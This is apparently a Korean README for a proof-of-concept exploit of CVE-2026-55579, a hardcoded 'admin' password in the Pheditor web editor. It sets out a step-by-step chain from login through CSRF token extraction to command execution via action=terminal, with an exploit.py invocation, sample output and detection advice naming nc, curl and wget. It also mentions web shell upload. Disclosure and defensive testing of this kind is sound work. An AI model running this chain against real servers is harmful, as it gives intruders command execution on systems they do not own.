
CVE-2026-55579 – 하드코딩된 기본 비밀번호 "admin"을 통한 Pheditor의 인증되지 않은 RCE. 파일 업로드 및 터미널 실행이 포함된 전체 Python 악용. 종속성 없음.
TL;DR: Pheditor(모든 버전)는 소스 코드에 하드코딩된 기본 관리자 비밀번호(
admin)를 포함하여 배포됩니다. 최초 로그인 시 비밀번호 변경 강제가 없으며, 시각적 경고만 표시됩니다. 모든 인증되지 않은 공격자는 관리자로 로그인하여 내장된 터미널 패널(action=terminal)을 악용해 웹 서버 권한으로 임의 OS 명령을 실행할 수 있습니다. 파일 업로드 기능과 결합하면 **인증되지 않은 원격 코드 실행(RCE)**이 가능합니다.
| 속성 | 세부 정보 |
|---|---|
| CVE 식별자 | CVE-2026-55579 |
| 영향 받는 소프트웨어 | Pheditor (최신 HEAD까지 모든 버전) |
| 수정 버전 | 없음 (공급업체 패치 미출시; 해결 방법 필요) |
| 취약점 클래스 | CWE-798: 하드코딩된 자격 증명 사용 |
| CVSS v3.1 점수 | 9.8 (치명적) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 인증 | 없음 – 기본 자격 증명이 공개적으로 알려짐 |
| 확인 | Pheditor 신규 설치에서 확인됨 |
취약점은 pheditor.php(11행) 내에 비밀번호 admin의 하드코딩된 SHA‑512 해시에서 비롯됩니다:
define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');
이 해시는 다음에 해당합니다:
echo -n 'admin' | sha512sum
이것이 게임 오버인 이유:
pheditor.php 1956–1958행).admin/admin으로 공격자는 로그인하여 다음에 대한 전체 액세스 권한을 얻습니다:
action=terminal)action=upload)action=open/action=save)속도 제한, 잠금, 추가 인증 요소가 없습니다.
공격은 매우 간단하며 추측이 전혀 필요하지 않습니다:
pheditor.php로 pheditor_password=admin을 포함한 POST 요청을 보냅니다. 서버가 세션 쿠키를 설정합니다.token JavaScript 변수를 파싱합니다.POST 요청을 보냅니다:
action=terminaltoken=<추출된 토큰>command=<OS 명령>dir= (선택 사항)<pre> 태그 내에서 반환되어 깔끔하게 파싱할 수 있습니다.또는 공격자가 웹 셸을 업로드하거나 애플리케이션 파일을 덮어쓸 수 있습니다.
공식 저장소를 클론하고 로컬 서버를 시작합니다:
git clone https://github.com/pheditor/pheditor.git /tmp/pheditor
cd /tmp/pheditor
php -S localhost:8080 pheditor.php &
제공된 Python 익스플로잇은 Python 표준 라이브러리만 사용합니다(외부 종속성 없음). argparse 기반 CLI, 고급 오류 처리, 상세 모드, 타임아웃 제어 기능을 제공합니다.
python3 exploit.py http://localhost:8080/pheditor.php "id; hostname; whoami"
[*] Logging in with password: admin
[+] Login successful
[*] Extracting CSRF token...
[+] Token: a1b2c3d4e5f6...
[*] Executing: id; hostname; whoami
==================================================
Command Output:
==================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ubuntu
www-data
==================================================
성공적인 익스플로잇을 통해 공격자는 다음을 얻습니다:
root)로 실행되는 경우 공격자는 호스트의 전체 제어권을 획득합니다.Pheditor가 종종 개발 환경이나 가벼운 파일 관리자로 사용되므로, 공격자는 이를 쉽게 찾아 악용하여 초기 침투 지점을 확보할 수 있습니다.
pheditor_password=admin)에 대한 액세스 로그를 모니터링하십시오.환경에서 침해 지표를 모니터링하십시오:
pheditor_password=admin 또는 action=terminal이 포함된 pheditor.php에 대한 POST 요청 확인.sh, bash, nc, curl 또는 wget 관련.익스플로잇 체인 및 추가 페이로드에 대한 자세한 내용은 ANALYSIS.md를 참조하십시오.
면책 조항: 이 저장소에는 방어, 교육 및 승인된 보안 테스트 목적으로만 사용되는 개념 증명(PoC)이 포함되어 있습니다. 소유하지 않거나 명시적인 서면 승인 없이 테스트할 수 없는 시스템에 대해 이 코드를 사용하지 마십시오. 저자는 오용에 대해 책임을 지지 않습니다.